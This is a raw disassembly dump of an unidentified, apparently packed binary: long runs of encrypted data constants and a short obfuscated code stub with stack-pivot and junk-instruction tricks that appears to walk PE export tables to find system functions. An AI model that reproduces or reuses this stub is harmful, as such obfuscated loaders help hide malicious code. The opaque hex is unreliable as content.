0A027C4h, 312E0000h, 37C311ADh dd 26CC1AB0h, 5B42680Bh, 885FFB7Fh, 9EEC880Ch, 5716CFF2h dd 22889C91h, 0B087F063h, 7938AD14h, 5401AB3h, 9743366Bh dd 0BAA07A10h, 315B4500h, 4500856Bh, 1630995Bh, 0DB978ADh dd 0BEEDEA8Ch, 1EF58B12h, 7B851BA2h, 72A31FA5h, 4F1AB892h dd 6400000Bh, 0ED6940E4h, 7BF7CE68h, 58158FAh, 9410E77Fh dd 97A0770Dh, 0E57B024Ch, 710F920Eh, 0FC9C1E9Ah, 8925A925h dd 0F0B60DB2h, 6327CC0Ah, 3118A126h, 0A95514AAh, 42898628h dd 0CFA642C6h, 0D3DB6654h, 0D37CA213h, 0AD31A5D6h, 0B337C311h dd 2BAC5817h, 3D3A3B89h, 7E675AF6h, 9304F9BFh, 84786322h dd 0E02E6301h, 2292503Ah, 0F2C1BB63h, 8E743AE5h, 0BA632292h dd 48F9F2C1h, 0CA334D38h, 0FA5F7CCDh, 6A16C437h, 0C44C49E7h dd 7, 7CA1FCBh, 119A0000h, 0CB7635B0h, 42631F05h, 0D5D23B5Bh dd 6723E0A6h, 84ED6322h, 0B639D7C5h, 36FDF175h, 6BEF7B39h dd 0F87CF8CFh, 0F1B14DD1h, 4F9DD26Ch, 66E6E9A9h, 0C68D23CAh dd 0C19834B8h, 6625C145h, 97001F78h, 0E5E244D9h, 0CB988127h dd 59B3BBE6h, 0D1F87C0Ah, 0C07FB44Ah, 0CB694F15h, 1C85BBE6h dd 0D85CD81Fh, 5B48EE3Ch, 8ABBE6CBh, 1DA13184h, 0AA2EAA81h dd 4735C00Eh, 0F00ED8B2h, 0BA0A0703h, 741FDE07h, 521D03C9h dd 0C831FA9Eh, 7DAC81CBh, 0ADA0027Eh, 0FE2701E7h, 7FB41DF3h dd 26F3AFA8h, 0E08B4A9Bh, 0FE27341Ah, 0E2DF48F3h, 2E5CEDB3h dd 9843FBDEh, 9E25ECD2h, 8B0C00FAh, 659A9BE9h, 4175DE68h dd 0B454D682h, 1E686566h, 0D8AF0727h, 0BF269Bh, 6D9A753Ah dd 0D01E87A4h, 89489D24h, 0D119C1C3h, 0A564CDA9h, 1AD975F9h dd 4B4DEB6Eh, 2C7A633Eh, 377E7B3Ch, 919B37BBh, 33E923C9h dd 0B78624FEh, 0FC000009h, 8501D87Ch, 138F6600h, 9D19F092h dd 2CA87F17h, 2F380FA5h, 7D139AB4h, 9A72AA6h, 9434B632h dd 21BD41BDh, 884EA54Ah, 6327CDA2h, 31B039BEh, 670186ADh dd 0D9E31819h, 72A1821Bh, 73B85630h, 40000009h, 0C9451CC0h dd 57D3AA44h, 0E15D34D6h, 70ECC35Bh, 737C53E9h, 0C157DE70h dd 4DEB6EEAh, 0D878FA76h, 65018501h, 0CC92E98Eh, 6327CDE6h dd 31EC75FAh, 0A65211ADh, 35368424h, 67EE7A38h, 0A101FAD1h dd 9CCF4978h, 0DBC2142Dh, 773DFC31h, 6322ABE6h, 0EBC5F962h dd 24E002C6h, 41EFC7B5h, 37C64EC7h, 40CCB278h, 77E021A0h dd 4E972A7Ah, 0B238E48Fh, 206E0C8Fh, 9B9CEA1Fh, 558F549Eh dd 0F8612980h, 22C3FEAAh, 9733B763h, 9F37BD49h, 933E6D6Ah dd 0C8C565E7h, 0E3AD7C7Eh, 0E09F0824h, 0BB47B034h, 0AB29F3BBh dd 0C33E154Ah, 0A66C9417h, 21A073C0h, 0F03E73DCh, 0EAC2FEFh dd 0C15DE111h, 0FF9383B7h, 40DEB8B4h, 8AAh, 0EE58909h dd 9C730D92h, 26FD9F20h, 0B58C24AAh, 451CB239h, 20A7A73Ch dd 0B437B38Ah, 41C33F16h, 0CA4ECAA1h, 5BB2572Eh, 27CEAF95h dd 0BD46CB63h, 5211AD31h, 3B891FA6h, 0F47F3D3Ah, 0F53DBD06h dd 817E1779h, 582FCF51h, 14AA31DDh, 2047CD17h, 645D5B43h dd 1BFCC281h, 35632886h, 0DD610DCCh, 6AEE6A41h, 4AF580CEh dd 3280189Eh, 3E715731h, 248D6328h, 0DA70F727h, 4EEC6F1Bh dd 1A089351h, 1B554295h, 0DB6020D7h, 92144441h, 31BCA268h dd 67D06328h, 4C182832h, 552F7544h, 809B7h, 862AAA00h dd 14AE33AFh, 9E40C13Dh, 2DC54BC7h, 0BD53DA56h, 4806DDE6h dd 0D8542BC1h, 64E0B755h, 0EF6B42E2h, 53F8CF6Bh, 0CF5036FCh dd 0E76C6327h, 11AD315Eh, 8DB337C3h, 0E7C15DE1h, 5B426301h dd 6F7E3735h, 1F398804h, 4C3381B6h, 8F13A3F2h, 0F5A11CF3h dd 84D5D274h, 0C3D73957h, 4B7C5h, 0B011CC00h, 0CFB07635h dd 346327C8h, 68650788h, 0BB675DEh, 0C9B49A60h, 9B226327h dd 9CB6B705h, 82063633h, 54730FE6h, 0A7ECDA99h, 3C45FF63h dd 0B9EC4C4Eh, 36DD51CAh, 3AD57B39h, 0A5DC9410h, 0ACA9D8ABh dd 0EABD5E3Fh, 40h, 37B611F1h, 62CCB278h, 77E05B42h, 0E98B0CB8h dd 0DF9D9A9Bh, 8923A854h, 0F33D3A3Bh, 7BA9C54Dh, 3E6F3630h dd 0E3B07019h, 0FA52CD8h, 3BC3C0C1h, 0Ch, 1B01F42h, 0F09C0000h dd 0A1D2CF6Dh, 0E937B611h, 0AECFA843h, 0B6FDF7D4h, 0BB7AD207h dd 1848BAh, 114F0000h, 43E937B6h, 0D4AECF89h, 0DA8BDAD4h dd 0BABB7EFDh, 531Bh, 0B6112200h, 0CCB27837h, 0E05B4262h dd 82D3B177h, 0F566CDFh, 0D751795Eh, 369FC3h, 11A60000h dd 0B27837B6h, 5B4262CEh, 3C679E2h, 0EC3AD057h, 5F41EEEBh dd 69B751D6h, 6FBD59DDh, 888DD8DEh, 0C3F2C1BFh, 0C3D71296h dd 704h, 2B1F0B00h, 9A000001h, 0F61Fh, 86329A00h, 18196701h dd 0F1FCCB1Bh, 0A66EFDA3h, 9629B092h, 83A72BA8h, 0C382D071h dd 92B217FDh, 0CDCA33B0h, 183D6C37h, 7E96875Dh, 9Ah, 37B61185h dd 9C21CD78h, 0D5BB0502h, 0E95B4262h, 634A30F6h, 0FD665B42h dd 0CE1CBA3Dh, 0A44A98CDh, 7B6290DAh, 2BB80B05h, 0F5DFD7Fh dd 9BC0110Eh, 1E3F73Bh, 53h, 37B61108h, 62CCB278h, 0EDE05B42h dd 42634127h, 0BFF45D5Bh, 35CF5400h, 6127E6E7h, 5B42637Bh dd 6B29268Fh, 628FFBC5h, 0E89326C8h, 62903C22h, 8927AAC8h dd 0B7203A3Bh, 205124BAh, 0AEF73F3Bh, 1D61h dd 0F9BF6A00h, 0C8629813h, 7BFEBE27h, 32AFE0DDh, 0D5B6D144h dd 0EFEC5CE7h, 5DADh, 0AD312800h, 341DC311h, 0AA5B4263h dd 0B33F8D23h, 5D449230h, 0EBADB003h, 800492E1h, 63AE945Ah dd 0CFC25B42h, 42632309h, 99CE375Bh, 11108D64h, 0CD7837B6h dd 42632107h, 0D7D43D5Bh, 0C445F1B4h, 0E3782522h, 0CAF2C1BFh dd 5B42701Eh, 1FE0F6D7h, 0E338C3D7h, 3FFFFFFEh, 2831Fh dd 0AD319A00h, 62DBC187h, 86EF5B42h, 0F3770351h, 59058057h dd 0E7E836D8h, 0BE279AEAh, 6A0039FFh, 8FC6322h, 0A127E785h dd 6A15D409h, 1F8FA77Ch, 5C36EA9Dh, 63231576h, 6624218Ah dd 81AE2FDBh, 151664FAh, 0AF99E3E0h, 25632315h, 29B503A3h dd 31BD0BA3h, 0C5C614AAh, 0A6ABFA00h, 592E1DBh, 0E937D759h dd 0BD9AEBE8h, 0DBC437A0h, 31h, 35B011E2h, 648BB076h, 3CA56322h dd 0F2B863EEh, 6322640Ch, 1C7DEA20h, 0A433CFBDh, 3E28726Fh dd 0A96322FAh, 0A0B5E4AFh, 0F6C43781h, 9Dh, 11AD31FDh dd 0FBE1A752h, 0F5B4262h, 5FEBA9A6h, 68F442D8h, 9B8948E4h dd 9EDA781Eh, 0EAA8A55Dh, 6871DA5Eh, 8196C0D5h, 0E230D052h dd 0A077ACE1h, 428CEF0Ah, 0BB57DB5Bh, 6C7948E4h, 3DCCE7ADh dd 13BF6325h, 0A5A6F48Eh, 79C75FE5h, 88F17B78h, 961DC9h dd 9026AD29h, 431AAC86h, 23C19B75h, 472h, 461DC141h, 0D4AB45CAh dd 5E35D758h, 0EDC45CE2h, 7D54EA71h, 58DF6F74h, 0EC6FEBC2h dd 79FB774Eh, 28602D9h, 93EA8F66h, 27D2E7CDh, 0F57E0363h dd 3D14AA31h, 0CAA13DC1h, 11AD314Dh, 17B337C3h, 3D1DA440h dd 0D75A1ABCh, 7F450439h, 63228EAAh, 38CE5501h, 3CBDB13Bh dd 3DC04C9Ah, 0E5AB6A9Fh, 63228DFFh, 2F7DB21Bh, 228EA189h dd 0F7931763h, 0FC9A1DA9h, 814E0AEh, 0D96A9A52h, 0E1642FF5h dd 69196CC6h, 22CE8D58h, 0D302FFA1h, 2C4380Dh, 7D03AF6Bh dd 6A5EE8E5h, 6FFA48E8h, 427FC3A9h, 396ED75Bh, 30912D04h dd 4F30F6B5h, 596327E6h, 988631F0h, 0F2FD6CC1h, 472D0787h dd 6363278Eh, 8DC4AA70h, 6FD86327h, 0CFB57B3Ah, 0EB63278Dh dd 0AA568582h, 1CC88729h, 0ABACFA9Ah, 0F1D167AEh, 5763278Dh dd 0D05E35D5h, 44h, 632D174Bh, 43835B42h, 0D859D5ACh, 5C42E836h dd 0A65B4263h, 840595E0h, 0D8F0BE2h, 7E02AE6Dh, 969394E2h dd 634932D8h, 7F525B42h, 0A02750D3h, 8687D50Ah, 631B01C7h dd 0C62F5B42h, 526033C9h, 0DC5930D0h, 384AF31h, 52DE2C61h dd 0C67130D0h, 42631A00h, 0BF174E5Bh, 899F38Fh, 0CA8885EEh dd 0BF44F0E3h, 0D9D6D725h, 0E0627043h, 51D58140h, 667F652Bh dd 329B5B42h, 1EB83DFDh, 5644DA21h, 1F5B4279h, 9232B460h dd 3164495h, 6E86C3D7h, 8DFFFFFFh, 5211AD31h, 33D9F364h dd 706DF048h, 6A226B2h, 0B72E932Fh, 1EA14DF8h, 398380h dd 0FC632316h, 0B59F4593h, 2B63230Dh, 33BF0DA5h, 0FDC513AFh dd 4E191C67h, 0F2880FBBh, 0F79518A4h, 7673A8A9h, 0F7E495E0h dd 7EC437B8h, 15270DD3h, 189D6323h, 0FEFB647Eh, 3876h dd 87327D00h, 4262DBC1h, 8986EF5Bh, 9E5D8839h, 82D070F2h dd 0AA558481h, 8FDD7BFEh, 2247918Eh, 3E632265h, 0F7E187D5h dd 62632263h, 6F6C1D68h, 0ADC43717h, 0D4h, 11AD31B4h, 0C78D38C3h dd 5B4262E1h, 1F39D157h, 289B9B6h, 0E7931E6Ch, 7B7CCA60h dd 6310F6BCh, 0C32C5B42h, 0EC1296C6h, 42634026h, 0BEF35C5Bh dd 0A88E54FFh, 0DC5B4263h, 3A2068E6h, 0BE274164h, 0F37703C1h dd 0CFEA8057h, 0BB5B42BFh, 0FBB3CE37h, 6C4527FBh, 60E46037h dd 0F7CA76C4h, 18692FEEh, 8F6322FEh, 78C65CE3h, 87F07A77h dd 0ADAD14B0h, 9A598E28h, 573B3D4h, 44C9BD6Bh, 595B5CAAh dd 0B63C1BFCh, 0C988BD57h, 2900961Dh, 869026ADh, 72A34796h dd 0C72DCBA5h, 0EC000001h, 75F1C86Ch, 37F56F0h, 8D09E082h dd 1C986F07h, 1F28FF95h, 6D038AC4h, 0F9971A96h, 8424A622h dd 11AD31ADh, 783E953Ah, 6327D592h, 31A029AEh, 0C13D14AAh dd 4DCAA13Dh, 7635B011h, 22648BB0h, 0EE3CA563h, 22645E48h dd 84CFC963h, 371780D5h, 0EC16C4h, 311D0000h, 37C311ADh dd 26CC1AB0h, 5B42680Bh, 4FD4FB7Fh, 2DA980B5h, 0D7BD83A9h dd 0F35B4266h, 920E1ABDh, 3A6FC108h, 2044A638h, 0D409EF72h dd 0CE4FFB86h, 35F6DCA2h, 0A10A5B43h, 201D1E6Ch, 35F4F1D0h dd 71BE9C8Ah, 0ABDF60F8h, 4C1364AEh, 94FD6323h, 139642BDh dd 493F25EBh, 0F25B6323h, 716E6FBDh, 8645A021h, 60240C0h dd 20DF486Bh, 0C1C9AF75h, 7CE55B44h, 5324D37Ah, 0EEEB688Ah dd 0E76814BFh, 0F9F6F745h, 0D5AC42C9h, 2BB1D259h, 0D6545E93h dd 0E572A3BEh, 0D46D0Bh, 5FDF0000h, 0E368E4BBh, 75F67249h dd 0FA80FCD3h, 880F8B62h, 0D1121BF2h, 8960F67Dh, 15EC8A0Dh dd 0A0771799h, 2D04A024h, 856B3188h, 996327D6h, 86328B14h dd 3B6B6800h, 715F1EB4h, 12E31BEh, 72B9B6DBh, 0FFD672F6h dd 0C1DA9684h, 0C4FE714h, 8732DE0Fh, 4262DBC1h, 8986EF5Bh dd 0EB39D559h, 31B4DB5Fh, 84444593h, 593065FFh, 22E104BDh dd 27C9775Ch, 0D2208963h, 149BC246h, 0DE8A497Eh, 7DC4C157h dd 35D35602h, 0E8840838h, 0E2630F9Ah, 469432B5h, 0C9131045h dd 0BDC4CE42h, 0CFDFA63Ch, 5CD8AF4Bh, 62EE3CD8h, 0E99F77DCh dd 36AE945Ah, 59C2B8BBh, 81317C57h, 884EFE4Ch, 94C0AE3Dh dd 694312CEh, 0FF83B3B0h, 8C108C63h, 304A2F0h, 7F000000h dd 0B131B502h, 0AF33BF0Dh, 0B739C513h, 0BA3DC917h, 0BB42CE1Ch dd 0C44BD725h, 0CE54E02Eh, 0DB5CE836h, 0DA5FEB39h, 5263F240h dd 0C281E289h, 4, 4B850h, 0C2290000h, 24148758h, 0E389535Ch dd 4C381h, 0EB810000h, 4, 5C241C87h, 68243C89h, 73Fh, 56240489h dd 36534CBEh, 13AABF31h, 0F701D6AFh, 8124348Bh, 4C4h, 4EC8300h dd 83242489h, 58042404h, 24048157h, 3AB454CDh, 5308408Fh dd 0B454CDBBh, 858293Ah, 24048B5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_560FFB ; --------------------------------------------------------------------------- dw 0EA54h dd 0E1AE2A24h, 913C1EC7h, 0E574A7B8h, 0FFC50307h, 0C13DEAE0h dd 946DDA13h, 7B179051h, 282CC516h, 8B86EE7Ch, 25E2A166h dd 39E29E75h, 0B0E902h, 66600000h, 0C2F6DA8Ch, 0C850F04h dd 3B000000h, 0E02F0185h, 36840F07h, 3B000000h, 0E0308585h dd 2A840F07h, 3B000000h, 0E01B7185h, 1E840F07h, 3B000000h dd 0E0181D85h, 12840F07h, 83000000h, 0E031F9BDh, 840F0107h dd 5, 5FE9h, 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h dd 81000000h, 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch dd 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh dd 0Fh, 4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 0E04EE89Dh dd 5B807h, 0E3FF0000h, 0D00BC361h, 1FB19D8Dh, 2AB807E0h dd 89000000h, 0E0236185h, 0E807h, 5580000h, 0Dh, 2AE90389h dd 0 dd 9 dup(77E600h), 0FF77E600h, 698D8DFFh, 6A07E577h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 5799C357h, 60F78052h, 559D8Bh, 0F6007E0h, 0DE81DEB7h dd 43993E43h, 8D896161h, 7E01815h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0D6C35343h, 663391D3h, 0C76C02BAh dd 0E0204985h, 665C07h, 10DE8100h, 0E943F1ABh, 9, 75CBBF19h dd 0BE464968h, 0C585C7AFh, 7E022h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0B149C353h, 355203Dh, 0CD8277EEh, 5BA5B8B8h, 0A1B5FF1Bh dd 8907E007h, 0E0231185h, 619D0307h, 0FF07E01Bh, 0E0209195h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0C889EB88h, 9335F770h, 6A07C6h, 18A995FFh dd 0C08B07E0h, 92831BEBh, 43CEE89Bh, 7591BDB6h, 88BF6076h dd 0CD90123Fh, 0C6B65A61h, 8A720C0Ch, 8E8D8D37h, 8B07E578h dd 0E0185D9Dh, 13E907h, 0C45D0000h, 15A1A795h, 24BA5261h dd 130A2F7Ah, 8FF8031Fh, 158D89C5h, 6A07E018h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 2923C351h, 0E0254DBDh, 0C7F28B07h, 0E0204985h, 5E8407h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0EF35AB9Bh, 441CD7A5h, 0BF0F7FB8h, 0C585C7F2h dd 7E022h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0AFB9C353h, 0EC74D5C0h, 8175FDC3h dd 0B76ED6C7h, 13E95Eh, 7C9C0000h, 3A125976h, 0A2DFE6B6h dd 0F2378D19h, 317A2EA2h, 35B5FF5Fh, 6607E02Ah, 95FFC38Bh dd 7E02091h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 37C35747h, 0BF0F28BDh, 6AD88BD7h, 0A995FF00h, 8B07E018h dd 217EEBC0h, 4902519Bh, 46E0FE98h, 17D67957h, 972DBC61h dd 0DB24612Fh, 2414E392h, 0C427192Ch, 41A37C97h, 22778E1Ch dd 0B5E42932h, 8CD79534h, 3B86C719h, 1D4FBDBh, 46DC1F06h dd 0A98E76ABh, 0F55F4DD9h, 5E95A5A5h, 0CE812A59h, 71BCE59Ah dd 0B5DD5EF1h, 5AFEB2B3h, 0F5209Dh, 76976E21h, 0D1CA97D2h dd 49CECE0Dh, 14020A3Ch, 0ABE67AC5h, 99C95256h, 62DDCD54h dd 6B0EE677h, 5A723CD1h, 14E8D9h, 0E3860000h, 20CC7768h dd 1C870E0Ah, 0DD1830D4h, 518213DFh, 9531264Bh, 7E030DDh dd 28B0F5Eh, 0B1000000h, 0A8C681ADh, 0F00006Ch, 0FBBBCAB7h dd 2300001Ah, 0E0161185h, 5036FF07h, 5F5AF4B6h, 14E957h dd 26B40000h, 0AB32E420h, 0FC85E22h, 43EF03E4h, 88D67061h dd 815A369Ch, 57C056EFh, 2BB96643h, 0BEEF81B6h, 0E8600DC5h dd 0Fh, 361D6B6Ah, 0F61C8D0h, 59915907h, 0F9B7D2Bh, 8158D3B7h dd 878C3FC7h, 7CB45006h, 0BD895758h, 7E012F9h, 800F068Fh dd 6, 1E959D01h, 0EE8307E0h, 0DBD8904h, 8107E024h, 1EBh dd 82850F00h, 0E9FFFFFFh, 6, 0B8EB4987h, 60EB414Ch, 18h dup(0) dd 0B51E9h, 0B45E900h, 5680000h, 0E907E582h, 0FFFB068Fh dd 0E5832E68h, 685E907h, 0BC68FFFBh, 0E907E583h, 0FFFB067Bh dd 0CFE9A38Bh, 445E16FDh, 0BBD58D72h, 2E4800E9h, 0A6C07A5Ch dd 0D1B36851h, 472BFD17h, 0BEA1738Dh, 341AEC06h, 9580607Ah dd 0D5273F72h, 0EEC53721h, 73783214h, 2B54767Ch, 25888D47h dd 0A9AF694Bh, 54674B71h, 2511FD7Fh, 0D9F39E65h, 62672107h dd 0B2C98164h, 0D3615073h, 0CA1D29B9h, 957977C4h, 8C37EFD4h dd 0EDA78987h, 0C2AB85E8h, 80E050Ah, 6D722C0Eh, 2C88DE0Ah dd 0C6714AA2h, 787E29E1h, 0D8DD957Eh, 263DF5DAh, 0B98887FAh dd 553A4276h, 9FECF29Dh, 0EB02BAA1h, 6B2889ACh, 0FB4E29BAh dd 0A8AE6649h, 1E1D035Bh, 269CC807h, 7650586Ch, 0F609A8CBh dd 227529B9h, 0BB2E7177h, 332E5F2Ch, 8EFC9E0h, 50A3650h dd 0CF1C95B8h, 0F6221D4h, 0EB0E4D64h, 21D4CEC6h, 0CAF004B0h dd 57A834EEh, 2447A6ACh, 21D58091h, 0FDB79BF5h, 0BDFC3B52h dd 0D581179Ah, 110C5F21h, 21D580A0h, 307D83D6h, 7B924C32h dd 8C41F24Fh, 23292CDEh, 452BC7C1h, 0ECC6B18Bh, 534A4F07h dd 0C39D004Dh, 0FA1C22DAh, 14EE4DD1h, 0ECC6C9C3h, 12354C06h dd 29BAA09Fh, 787E84D7h, 5734DE5Ah, 1C75h, 4DD1BF00h, 0A3C614EEh dd 29BAA10Eh, 0C63B1568h, 8C442BC4h, 0FBA2E8B2h, 16h, 0EE4DD191h dd 0EA3C614h, 7329BAA1h, 0C4C6320Ch, 0B28C442Bh, 4FD1A2E8h dd 1AFFD9F0h, 0DAFD5C62h, 2E5AA37Ch, 3FA2A7FAh, 0BEC47C65h dd 0DA9C327Bh, 55AA0B21h, 0D4EFCBF7h, 1B0E453h, 0D12E0000h dd 0B3D6ED4Ch, 29BAA106h, 2A282D80h, 0B6FB1E44h, 0C029BAA0h dd 0AEA8C26Dh, 4D6487C6h, 2929BAA1h, 2F34ECCFh, 8D878D38h dd 47FFE6A7h, 0B2D8C29Ch, 4D6487C6h, 2929BAA1h, 967CD0D6h dd 8CC3BF99h, 0FD14CEB2h, 0BAA0D7DAh, 464C9F29h, 0DEF31F24h dd 3C1C5734h, 66000000h, 14EE4DD1h, 0A10EA3C6h, 156829BAh dd 40F6D2FEh, 798D2678h, 2228E0C7h, 0AD87C600h, 0E90B11CBh dd 0B28C442Bh, 4D05ECC6h, 0EFC2E548h, 8729BAA0h, 46838934h dd 29FB00h, 0D1910000h, 0C614EE4Dh, 0BAA10EA3h, 23057329h dd 0BB6D6469h, 1F161BD5h, 0C4C69A74h, 0B28C442Bh, 0AA309AC6h dd 2620A35Ah, 0D19DE320h, 4A04E64Ch, 8CA34E45h, 0D12CCB2h dd 75251216h, 2E1B9947h, 0F7A6C928h, 3F29BA3Bh, 0FBABC313h dd 505635D1h, 76D9DE31h, 0F9FEB89Ch, 1C02FC02h, 0D3B8795Bh dd 741F161Bh, 0C6B5AFC9h, 0A14D6487h, 0D62929BAh, 0CAF0D6D0h dd 0BAA10AA7h, 76217429h, 0B6F4205Fh, 0F45478E6h, 64E1D0CBh dd 4A9D29BAh, 0F3F9B198h, 6487C6D1h, 29BAA14Dh, 0D9B06A4Eh dd 0D338086h, 14EE4DD1h, 0F31FC9C3h, 1C5734DEh, 2Bh, 3ECC666h dd 2DF1454Bh, 87C6340Eh, 0A08C2548h, 9FF229BAh, 0A15B5699h dd 0D02329BAh, 2BC4C6F6h, 0E8B28C44h, 3EFBA2h, 0D1910000h dd 525F824Dh, 2C29BAA1h, 3D172ED9h, 0FDB79958h, 0D3CE4E52h dd 2919F678h, 0ECC60123h, 50474C06h, 0E9C8EB4Ah, 5529BAA0h dd 0D5DB957Bh, 0C6805AC1h, 11CBAD87h, 442BE90Bh, 0A2E8B28Ch dd 0E7FBh, 4CD19100h, 0BD97D6EDh, 896B1DD7h, 0CDD3CACFh dd 0BAA12F8Ah, 462D0729h, 0E092898Eh, 494045FDh, 0CCD12443h dd 0AA072A69h, 0D429BAA0h, 9B817B81h, 5190C7E1h, 0BAA0832Eh dd 0A2A8FB29h, 6487C680h, 29BAA14Dh, 0D6D0D629h, 0D85C36F0h dd 7ECC6B2h, 0AB6348h, 0B478A6FAh, 526914CEh, 0EBBDC126h dd 50563431h, 0B28CC32Eh, 191015CDh, 0F31FF113h, 1C5734DEh dd 46h, 0EE4DD166h, 0EA3C614h, 2829BAA1h, 9CB36B4Eh, 0BAA13879h dd 0E5EB3E29h, 0CDE407C6h, 0A929BAA0h, 0C6D1AB56h, 8C442BC4h dd 3965E8B2h, 2B1AAD30h, 8C0A721h, 5B610C03h, 3ECC639h dd 494F464Bh, 2B1Fh, 4DD1B500h, 0A3C614EEh, 29BAA10Eh dd 0C6320C73h, 494F07ECh, 9AC6E8EAh, 2F2C5802h, 5A545ACEh dd 788C6273h, 0A8CBE5BEh, 0A2E823FDh, 868B452Bh, 0D3EDA588h dd 5C611B01h, 7C3BCDF9h, 792B2E33h, 897F3073h, 0D2429BAh dd 0F57566E1h, 0B9F3DFD2h, 40449729h, 0F2F82DA1h, 0F0D6207Dh dd 644A1C36h, 3961B3Eh, 8DE029BAh, 9567DDE2h, 5598C4A3h dd 0F215732Eh, 9AF76C72h, 96B06A50h, 0A082A66Ah, 2D8D058Dh dd 59040793h, 0E27497AEh, 642E59A6h, 666B230Ah, 0EE72D416h dd 15C0615Dh, 8F1E656Ah, 0AE21D9AEh, 6C9AF04Dh, 8753D418h dd 22h, 1FD7BA94h, 0FB1D231Ah, 868B452Bh, 0BAA1723Fh, 0B70C3929h dd 0ABC57F65h, 2FF04874h, 7619635Eh, 452B4E70h, 7348748Bh dd 0F58BDD79h, 3879F8FCh, 6DBC7A57h, 5EC21A67h, 0D6A7CAE1h dd 602E5EE6h, 33B51DB4h, 1CC78DD0h, 0ED4AD602h, 20A3B3D6h dd 0A6E52675h, 0B51B2E83h, 0BEE4829h, 0AC574E53h, 2F3487A6h dd 0B51AC5E8h, 0BA177829h, 316C2664h, 355154h, 0C69B0000h dd 464B03ECh, 28F5494Fh, 3B20FA11h, 9C807E83h, 0D23137E2h dd 0BAA0F2AFh, 6E522C29h, 3C8FAEB4h, 0A7664B25h, 611902C3h dd 0FBA655Ch, 2AF3F5h, 0D1890000h, 0FCD6ED4Ch, 61585D15h dd 0E3BDFC5Bh, 0FE414701h, 29BAA09Fh, 1CD4BD97h, 0FB1A2017h dd 785291A8h, 0D8D2D892h, 27213BF3h, 149FBh, 4BD19100h dd 66A9D5ECh, 0C887D8C6h, 0D8F2141Ah, 4887C6B2h, 0BAA08C25h dd 0A49FF229h, 29BAA10Dh, 0A0AB0629h, 80D329BAh, 565056A9h dd 0C3DCB670h, 0DEF31FC9h, 2C1C5734h, 66000000h, 12EC4BD1h dd 0A10EA3C6h, 0A96829BAh, 0BAA12B86h, 71945329h, 29BAA140h dd 8D38E336h, 2BC4C6B3h, 0E8B48E46h, 1DFBA2h, 0D1910000h dd 0C612EC4Bh, 0BAA10EA3h, 0F50C7329h, 757A321Bh, 0C656787Eh dd 8E462BC4h, 0C6A2E8B4h, 464B03ECh, 694F494Fh, 2205C6A8h dd 0C36E656Ah, 0B2D83E18h, 8954DD1h, 898A4229h, 714B620Dh dd 0ACCED48Ch, 0F31FC9C3h, 415734DEh, 0FCDBF215h, 42487FC1h dd 2CBEh, 4DD10800h, 9AC614EEh, 0A12CF002h, 83E2E87Ah dd 0B9E35160h, 29812D29h, 0E8AA1160h, 0C6A8822Dh, 8C442BC4h dd 0FBA2E8B2h, 47h, 779AC691h, 0E5A9A9F3h, 9C5638EAh, 469AA097h dd 6A445BD8h, 0CEC5CA84h, 4C1D94B7h, 65929BAh, 87C6DE00h dd 12677C5Bh, 82B6E0Ch, 29B9EEA9h, 25D782D5h, 3B7E843Ch dd 29B9EE76h, 0C6CAA40Bh, 8C442BC4h, 2BA2E8B2h, 448B9048h dd 29BAA16Ah, 0FB1E5DFCh, 29BAA0B6h, 0F2676DC0h, 0B0684B9Dh dd 482B9C96h, 2E4D7990h, 1D7658BBh, 1AD2B769h, 0CB181E15h dd 2D32EACDh, 426692C5h, 52C3ECB9h, 76CB4046h, 6F894124h dd 0B9E81A54h, 9FCA8829h, 0DD54342Fh, 5E631D03h, 0BFC47E60h dd 0E3061DC8h, 29B9CFCEh, 0CB4F55A8h, 0FFFFFE6Eh, 621CFED8h dd 3E60665Dh, 4D6487C6h, 2929BAA1h, 208DD0D6h, 1629BAA1h dd 0CBA5E1EAh, 0B5BB5BCCh, 0BA95BB72h, 193C7B29h, 29BA9498h dd 95367B9Eh, 0ED4029BAh, 7ABDC316h, 29BA9536h, 0BA948D20h dd 0EDCFA929h, 0C3EA2D33h, 7329BA94h, 0F3F8B099h, 0AD654AFCh dd 954964A7h, 28F8E9BAh, 0F1D1F40Bh, 676E5852h, 69B70F14h dd 0B0E99E71h, 47F293AFh, 23690D30h, 459F6678h, 0A9A0A55Fh dd 0C6D25FEh, 210AA634h, 2E8F3h, 8E483000h, 3BBA274h, 7A3217E9h dd 0EDA58E60h, 651F01D3h, 58CDF64Bh, 0D0A2BC76h, 461832ECh dd 0BF91AB63h, 25051FD9h, 1E9A173Ah, 72E421D5h, 0AD87C6D8h dd 9D140FC9h, 0D929BAA0h, 0A0868086h, 8789E1E6h, 2B6E91A8h dd 232E5FDBh, 129BB6D0h, 2F21D527h, 82B42E1h, 267A5DDDh dd 0D5AFC619h, 0BEFC9EFh, 9E5B5651h, 0D02329BAh, 0D47F371Eh dd 4802E8BAh, 0B66E5731h, 991C63B0h, 0A829BA9Dh, 65A4BB78h dd 9DAE0326h, 75C829BAh, 0D7552C6Fh, 8EE12E5Fh, 0FDB79D77h dd 6A2B11E3h, 191EC981h, 0C9E05FC1h, 7A61D7A6h, 61451F26h dd 92E1984Eh, 0AB50722h, 5896B505h, 3A4D57B0h, 176A898Fh dd 8056BA12h, 9E82AE06h, 11E1E0E4h, 13364DF8h, 2E5FD0D6h dd 5812F6D0h, 0FA550353h, 29E8FE79h, 9A59787Eh, 5079385Bh dd 0B20521D5h, 0D550FAB7h, 7F318421h, 0E4DBE098h, 62482239h dd 